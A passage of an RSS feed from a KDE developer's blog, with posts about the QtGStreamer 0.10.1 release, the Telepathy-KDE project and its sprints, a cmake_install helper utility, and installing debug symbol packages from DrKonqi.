		<category><![CDATA[Collabora]]></category>
		<category><![CDATA[gstreamer]]></category>
		<category><![CDATA[kamoso]]></category>
		<category><![CDATA[kcall]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[qt-gstreamer]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=69</guid>
		<description><![CDATA[This weekend I released QtGStreamer 0.10.1, the first stable version of QtGStreamer. This release marks the beginning of the stable 0.10 series of QtGStreamer that will continue for the lifetime of GStreamer 0.10. For those of you that don&#8217;t yet know what QtGStreamer is, it is a set of libraries that provide Qt-style C++ bindings for [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=69&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>This weekend I released QtGStreamer 0.10.1, the first stable version of QtGStreamer. This release marks the beginning of the stable 0.10 series of QtGStreamer that will continue for the lifetime of GStreamer 0.10. For those of you that don&#8217;t yet know what QtGStreamer is, it is a set of libraries that provide Qt-style C++ bindings for GStreamer, plus extra helper classes and elements for better integration of GStreamer in Qt applications.</p>
<p>I must say thanks a lot to <a href="http://piacentini.blog.br/">Mauricio</a>, the co-developer of QtGStreamer, who helped me a lot with the design and code, to the GStreamer community, who accepted this project under the GStreamer umbrella with great enthusiasm, to Nokia for sponsoring it, to Collabora for assigning me and Mauricio to work on it and to all those developers who are already using it in their projects and have helped us by providing feedback.</p>
<h2>The future</h2>
<p>Development of course does not stop here. It just started. We will try to improve the bindings as much as we can by exporting more and more of GStreamer&#8217;s functionality, by adding more and more convenience methods/classes and/or gstreamer elements that ease the use of GStreamer in Qt applications and by collecting opinions and ideas from all of you out there that will use this API. This last bit is quite important imho, so, if you have any suggestions to make about things that you don&#8217;t like or things that you would like to see implemented, please <a href="https://bugzilla.gnome.org/enter_bug.cgi?product=GStreamer&amp;component=qt-gstreamer">file a bug</a> to let us know.</p>
<h2>Use in KDE</h2>
<p>I am quite happy to see that this library already has early adopters in KDE. Apart of course from my <a href="https://projects.kde.org/projects/playground/network/telepathy/telepathy-call-ui/repository">telepathy-kde-call-ui</a> (ex kcall), which is the &#8220;father&#8221; of QtGStreamer, QtGStreamer is also used in <a href="https://projects.kde.org/projects/playground/multimedia/kamoso/repository">kamoso</a>, a cheese-like camera app, whose authors, Alex Fiestas and Aleix Pol, have been very patient waiting for me to release QtGStreamer before they release kamoso and have also been very supportive during all this time (thanks!).</p>
<h2>Personal thoughts</h2>
<p>I must say this project was fun to develop. During development, I learned a lot about C++ that I didn&#8217;t know before and I also learned how GObject works, which I must say is quite interesting, although ugly for my taste. Learning more about C++ was my main source of interest from the beginning of the project, and for some period of time I couldn&#8217;t even imagine that this project would ever reach here, but I kept coding it for myself. Obviously, I am more than happy now that this finally evolved into something that is also useful for others and has wide acceptance <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/69/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/69/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=69&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2011/01/25/qtgstreamer-0-10-1/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>
	</item>
		<item>
		<title>What is Telepathy-KDE</title>
		<link>http://gkiagia.wordpress.com/2010/09/20/what-is-telepathy-kde/</link>
		<comments>http://gkiagia.wordpress.com/2010/09/20/what-is-telepathy-kde/#comments</comments>
		<pubDate>Mon, 20 Sep 2010 14:47:57 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[KDE]]></category>
		<category><![CDATA[kcall]]></category>
		<category><![CDATA[kopete]]></category>
		<category><![CDATA[telepathy]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=64</guid>
		<description><![CDATA[There seems to be a lot of confusion about what the Telepathy-KDE project is and what it has to do with Kopete. I&#8217;ll try and explain in this blog post everything, so that it is clear to everyone. First of all, Telepathy is a framework for writing applications that can use real-time communication and collaboration [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=64&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>There seems to be a lot of confusion about what the Telepathy-KDE project is and what it has to do with Kopete. I&#8217;ll try and explain in this blog post everything, so that it is clear to everyone.</p>
<p>First of all, <a href="http://telepathy.freedesktop.org/wiki/">Telepathy</a> is a framework for writing applications that can use real-time communication and collaboration features. In Telepathy, there are the so-called connection managers that connect to IM and similar networks and the clients that use those connections over D-Bus. This allows dividing the several tasks of an IM client to several applications, which makes it easier to reuse code and easier for applications to add collaboration features without caring about protocols, contact lists, presence status and all that stuff.</p>
<p>In <a href="http://community.kde.org/Real-Time_Communication_and_Collaboration">Telepathy-KDE</a> what we are trying to do is to integrate Telepathy with the KDE Plasma desktop. What we imagine is not to have a monolithic IM client like kopete or empathy but to integrate all the features of an IM client directly into the desktop. For this reason, we are going to add the following components into the KDE SC:</p>
<ol>
<li>A presence plasmoid. This will be a plasmoid sitting in your notification area or somewhere else, showing your online status and allowing you with a popup to change status, to enter a status message, etc&#8230;</li>
<li>A contact list application. This will be a standalone application that will just show the contact list. It will of course have all the necessary actions to start a chat or a call or do something else with any of your contacts.</li>
<li>A chat window application. This will be a standalone application providing just the chat window. When a new chat starts, it will be auto-launched via D-Bus service activation and allow you to chat.</li>
<li>A VoIP call window application. This will again be a standalone application providing the call window, also auto-launched to handle calls. This is actually KCall, what I wrote in last year&#8217;s summer of code, but it won&#8217;t have the contact list and won&#8217;t be named &#8220;KCall&#8221;.</li>
<li>An approver daemon. This will be a daemon sitting in the background and listening for incoming channels. When somebody requests that you start doing something with him (be it chat, video call, play a game together, share your desktop, etc&#8230;), it will show a KNotify popup allowing you to accept or reject the request.</li>
<li>A file transfer daemon. This will be a daemon that will be auto-launched like the chat and call windows when you want to do a file transfer to or from one of your contacts and handle that file transfer for you.</li>
<li>The nepomuk integration daemon. This is an implementation detail, really internal, not shown to the users. This will allow you to have metacontacts by pushing all of your contacts into the nepomuk database and defining relations between them. It will also allow at some point sharing contacts with akonadi and other cool stuff.</li>
</ol>
<p>In the future, other components could be added, such as a logger daemon that logs all your chats into files or into a database or something like that and of course it will be very simple to add collaboration features to other applications for doing anything with your contacts. For example, krdc already has telepathy integration and it is possible that if someone requests you over telepathy to share his desktop, you could use krdc to view his desktop, without caring about firewalls or anything. Unfortunately, the server side of this is currently only implemented in gnome, so only a user using gnome can currently share his desktop with you, but that will be fixed in the future.</p>
<p>As a sidenote here, telepathy also allows you to share D-Bus connections over the IM network, which makes it extremely easy to add collaboration features to an application that has no idea about networks or protocols. With this feature, called D-Bus tubes, all you have to do in your application is to expose a D-Bus interface which will be called from the remote side using normal D-Bus calls, as if the other side was running on the same computer. With this feature, we could add collaboration features to many KDE applications in the future very easily. Unfortunately, this currently requires a <a href="http://qt.gitorious.org/qt/qt/merge_requests/2343">patch</a> in Qt that has not been merged yet and it is not yet certain if it will make it for Qt 4.8 (which actually screws the whole feature, but we can still hope it will be in Qt 4.8, so that we can start using it in KDE 4.7 or 4.8).</p>
<p>To get to kopete now, as you realize, there is no much place for kopete in all this. So, as soon as we merge all this in the KDE SC, kopete is going to get out of there. All in all, it has not received much development in the last years and even many of its former maintainers are now looking towards Telepathy-KDE, so I don&#8217; t think we have any reason to keep it around. In addition, kopete&#8217;s code is not very much reusable in its current form, so we are not going to use it at all. Many people have stated that this may be a bad idea, but we have actually tried to port code from kopete and it didn&#8217;t really work, so we decided to do a new implementation from scratch.</p>
<p>I hope that pretty much explains everything now. Let&#8217;s stop talking about kopete and let&#8217;s start working on Telepathy-KDE <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>PS: If you want to get involved with it, come and find us on irc in #kde-telepathy on irc.freenode.net.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/64/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=64&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2010/09/20/what-is-telepathy-kde/feed/</wfw:commentRss>
		<slash:comments>90</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>
	</item>
		<item>
		<title>Telepathy KDE Sprint</title>
		<link>http://gkiagia.wordpress.com/2010/09/20/telepathy-kde-sprint/</link>
		<comments>http://gkiagia.wordpress.com/2010/09/20/telepathy-kde-sprint/#comments</comments>
		<pubDate>Mon, 20 Sep 2010 12:39:44 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[KDE]]></category>
		<category><![CDATA[Collabora]]></category>
		<category><![CDATA[kcall]]></category>
		<category><![CDATA[sprint]]></category>
		<category><![CDATA[telepathy]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=61</guid>
		<description><![CDATA[This weekend I participated in the Telepathy-KDE sprint at Collabora&#8216;s offices in Cambridge. We gathered here to settle things down, make some design decisions, make future plans and start hacking on them. In overall, I think this was quite successful. We now all have a clear plan of what to do and what to aim [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=61&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>This weekend I participated in the <a href="http://community.kde.org/Telepathy/Events/TelepathySprint1">Telepathy-KDE sprint</a> at <a href="http://www.collabora.co.uk/">Collabora</a>&#8216;s offices in Cambridge. We gathered here to settle things down, make some design decisions, make future plans and start hacking on them. In overall, I think this was quite successful. We now all have a clear plan of what to do and what to aim for in the first release.</p>
<p>Things we did include:</p>
<ul>
<li>We all together discussed the release roadmap. The first release is expected to be around when KDE SC 4.6 will be released, but not as part of KDE SC, since that would require us to merge stuff before the hard feature freeze which is too close and we don&#8217;t think we can make it.</li>
<li>We all together discussed about the components that we have, what problems each one has, what needs to be done, what are the blocker issues, etc and assigned jobs to everyone.</li>
<li>Olli gave talks about telepathy-qt4 and the suggested git workflow that we are going to follow as soon as we migrate to git, which will happen as soon as the KDE admins allow us.</li>
<li>Dario, Olli and Andre together hacked on and reviewed the telepathy-qt4 cmake branch, which seems to be in quite a good shape now for upstream inclusion.</li>
<li>Olli, Daniele and me discussed about code from our projects that could be upstreamed in telepathy-qt4 and in fact Olli did collect some nice ideas from us.</li>
<li>George and Sebastian looked at some nepomuk stuff that needed fixing and fixed them (it&#8217;s just nepomuk stuff for me, I have no idea what&#8217;s going on on that level yet <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ).</li>
<li>Andre, Sebastian, Will, Dario and David did some UI mockups on the whiteboard that looked pretty cool. Andre later even did a quick QML mockup of the contact list.</li>
<li>Olli, George and me, with some input from Simon McVittie today discussed about how the approver (the thing that pops up asking you if you want to accept or reject a chat or a call or something similar) should be and behave. We will probably have to do some telepathy specification additions for this one, but it&#8217;s good that we finally came to a sensible conclusion on a problem that has actually been troubling some of us for a long time.</li>
<li>Dominik and David hacked on the chat window, doing some cool things like adding support for loading <a href="http://adium.im/">Adium</a> themes.</li>
<li>Lots of other cool stuff, including eating a lot of pizza and burgers, drinking a lot of beer, socializing with the Collabora people, etc&#8230; <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </li>
</ul>
<p>I think that&#8217;s all I had to say for now, stay tuned for more news about Telepathy-KDE <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>PS: We also have a group photo that can be found <a href="http://blogs.fsfe.org/drdanz/?p=322">here</a>, taken by Sjoerd Simons with Daniele&#8217;s camera <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/61/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=61&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2010/09/20/telepathy-kde-sprint/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>
	</item>
		<item>
		<title>Multimedia sprint</title>
		<link>http://gkiagia.wordpress.com/2010/05/20/multimedia-sprint/</link>
		<comments>http://gkiagia.wordpress.com/2010/05/20/multimedia-sprint/#comments</comments>
		<pubDate>Thu, 20 May 2010 07:21:42 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[KDE]]></category>
		<category><![CDATA[Personal life]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[sprint]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=58</guid>
		<description><![CDATA[Today is an exciting day. I&#8217;m currently at the Athens airport, waiting for my next flight to Munich and then to Geneva, with final destination being Randa, Switzerland, where the kde multimedia &#38; edu sprint will take place the following days. I hope everything is going to be fine. I can&#8217;t wait to meet all [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=58&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Today is an exciting day. I&#8217;m currently at the Athens airport, waiting for my next flight to Munich and then to Geneva, with final destination being Randa, Switzerland, where the kde multimedia &amp; edu sprint will take place the following days. I hope everything is going to be fine. I can&#8217;t wait to meet all the other kde people there <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The reason I&#8217;m going to that meeting is that I wish to take part in the phonon/QtMultimedia discussions and also try to find some solution for KCall&#8217;s integration with the rest of kde, since it currently uses Gstreamer for some reasons that I won&#8217;t repeat again <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  I hope that all these discussions will have nice results.</p>
<p><img class="aligncenter" src="http://edu.kde.org/pics/badge.png" alt="" width="370" height="60" /></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/58/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/58/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=58&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2010/05/20/multimedia-sprint/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>

		<media:content url="http://edu.kde.org/pics/badge.png" medium="image" />
	</item>
		<item>
		<title>Introducing cmake_install</title>
		<link>http://gkiagia.wordpress.com/2009/12/24/introducing-cmake_install/</link>
		<comments>http://gkiagia.wordpress.com/2009/12/24/introducing-cmake_install/#comments</comments>
		<pubDate>Thu, 24 Dec 2009 16:30:02 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[KDE]]></category>
		<category><![CDATA[cmake]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[make]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=53</guid>
		<description><![CDATA[Merry Christmas everyone, Holidays have come and I&#8217;ve finally got some time to get back to KDE for as long as the holidays last. Today I started from updating my KDE-trunk installation and while building, I remembered about this handy cmake_install utility that I wrote a few months ago but never shared it with anybody, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=53&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Merry Christmas everyone,</p>
<p>Holidays have come and I&#8217;ve finally got some time to get back to KDE for as long as the holidays last. Today I started from updating my KDE-trunk installation and while building, I remembered about this handy cmake_install utility that I wrote a few months ago but never shared it with anybody, although I wanted to. So, I decided to blog about it.</p>
<p>You may now wonder what this is about. I&#8217;ll start from explaining the problem first. When you build kde from svn and install with a simple &#8220;make install&#8221; in your home directory, sometimes you face the problem that the obsolete files that were removed from svn and are no more installed stay in your installation directory forever, taking space, sometimes also causing trouble, and the only remedy is to wipe out the installation directory and install everything from scratch. When I first started building svn snapshots of kde, I had faced problems due to this (for example, problems with plasmoids not working because simply they were removed and thus the versions I had were linking against older and incompatible libplasma&#8230;), so I decided I had to do something about it. After some digging, I found that cmake lists all the installed files in a file called &#8220;install_manifest.txt&#8221; in the build directory, so I wrote a small program that finds the obsolete files by watching the differences in this file between two different installations.</p>
<p>You can find it <a href="https://alioth.debian.org/~gkiagia-guest/cmake_install.cpp">here</a>. Initially, I had written it as a shell script, but later I realized that the code had a serious bug and to fix it I needed some data structures (a set to be more specific), so I rewrote it in C++ using QtCore. As a side effect, rewriting it in Qt made it portable <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>How to use it</strong></p>
<p>1) Get the file and compile it. A simple &#8220;<code>g++ cmake_install.cpp -o cmake_install -lQtCore -I/path/to/qt/include"</code> will do. Alternatively you can set up a qmake or cmake project file, but it&#8217;s not really worth it.<br />
2) Put it somewhere in your $PATH. I use ~/kde/bin for this purpose, as it&#8217;s where all the kde trunk binaries get installed.<br />
3) Adjust your scripts to call &#8220;cmake_install&#8221; instead of &#8220;make install&#8221;. If you use the scripts from techbase, then you can do this by editing the &#8220;cmakekde&#8221; function.</p>
<p><em>Note:</em> As this program relies on the existance of &#8220;install_manifest.txt&#8221; in the current working directory, it should only be invoked from the root of the project&#8217;s build directory (for example in ~/kde/build/KDE/kdelibs, but not in ~/kde/build/KDE/kdelibs/kdeui). If you want to just install a subdir of a project, you can still use &#8220;make install&#8221;, if you know that there are no changes in installed files or you can clean up manually obsoleted files. Also note that the root of the project build dir is specified the first time that you build the project. For example, if you build the whole kdesupport once from the top level directory, the install_manifest.txt will be in the kdesupport build dir. However, if you build the projects in there separate (i.e step into phonon/, build, install, then step into akonadi/, etc..), each project will have its own install_manifest.txt, but then you can&#8217;t use my program to install the whole kdesupport from the root dir, you have to install the sub-projects separately.</p>
<h4>Portability</h4>
<p>Being a Qt program, this program is fully portable. I have used it successfully in linux, freebsd and windows without any issues*. For platforms that make is not called &#8220;make&#8221; you just need to set the environment variable MAKE to whatever your make utility is called. For example, on windows/mingw you have to call &#8220;MAKE=mingw32-make cmake_install&#8221;</p>
<p>* Well, windows vista and 7 have an issue if you have <a href="http://en.wikipedia.org/wiki/User_Account_Control">UAC</a> enabled. Because the word &#8220;install&#8221; is in the executable&#8217;s name, windows thinks this is an installation executable and executes it with admin privileges in a separate terminal. To fix this, either turn off UAC, or rename cmake_install.exe to something else (for example, foo.exe will work <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ).</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/53/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=53&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2009/12/24/introducing-cmake_install/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>
	</item>
		<item>
		<title>Installing debug symbol packages from DrKonqi</title>
		<link>http://gkiagia.wordpress.com/2009/08/19/installing-debug-symbol-packages-from-drkonqi/</link>
		<comments>http://gkiagia.wordpress.com/2009/08/19/installing-debug-symbol-packages-from-drkonqi/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 10:11:31 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[drkonqi]]></category>
		<category><![CDATA[packages]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=49</guid>
		<description><![CDATA[This time I am not going to blog about KCall, but about DrKonqi. Dario Andres and I, the drkonqi maintainers, are thinking of adding some new features for KDE 4.4. As you already know, most distros out there ship stripped binary packages with their debug symbols put in separate packages. One of the features that [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=49&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>This time I am not going to blog about KCall, but about DrKonqi. Dario Andres and I, the drkonqi maintainers, are thinking of adding some new features for KDE 4.4.  As you already know, most distros out there ship stripped binary packages with their debug symbols put in separate packages. One of the features that we want to add in drkonqi for KDE 4.4 is to make it able to install the required debug packages when there are missing symbols in a crash report.</p>
<p>Our first idea for implementing this was to have a shell script installed somewhere, which by default will do nothing, and let distributions customize it to install the required packages. The input given to the script is the executable name and all the libraries that appear in the backtrace with missing debug symbols. For example, a backtrace line that reads like &#8220;#5 0xbf123456 in ?? from /usr/lib/libkdecore.so.5&#8243; probably means that the library &#8220;/usr/lib/libkdecore.so.5&#8243; is missing debug symbols, so that library path is passed as an argument to the script.</p>
<p>This is already implemented in trunk (it was very easy to do), but I now want to go further than that. Being a debian packager myself, I attempted to write an utility to do this for debian. I found an easy algorithm that takes as input all the filenames of the binaries that need debug symbols and outputs the names of the packages that need to be installed, using apt-file as a backend for searching package contents. While working on this, I came up with the idea to put this algorithm in a KJob, which eventually made me think of another possible implementation of this feature: Have a unified GUI in drkonqi that takes plugins; every distro will have its own plugin and each plugin will export a KJob that will do all the work (finding and installing packages), or alternatively, that KJob will only find the packages that need to be installed and then drkonqi will use packagekit to install them or display some message to tell the user what to install if packagekit is not available (which is the case for debian, btw).</p>
<p>This scenario would be better than the scenario with the script, because it will allow us to have a unified GUI in all distributions and will also reduce the work of the distributors, as they will have to write only one small plugin instead of a whole application to do all the work. I don&#8217;t know however if this scenario works for other distributions, as I don&#8217;t know how they handle debug packages.</p>
<p><em>So, dear fellow packagers and anybody else who has an opinion on this, I would like to know how your distribution handles debug packages and what is your opinion on all this, so that I can decide what to do and how to do it.</em> <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/49/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=49&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2009/08/19/installing-debug-symbol-packages-from-drkonqi/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>
	</item>
	</channel>
</rss>
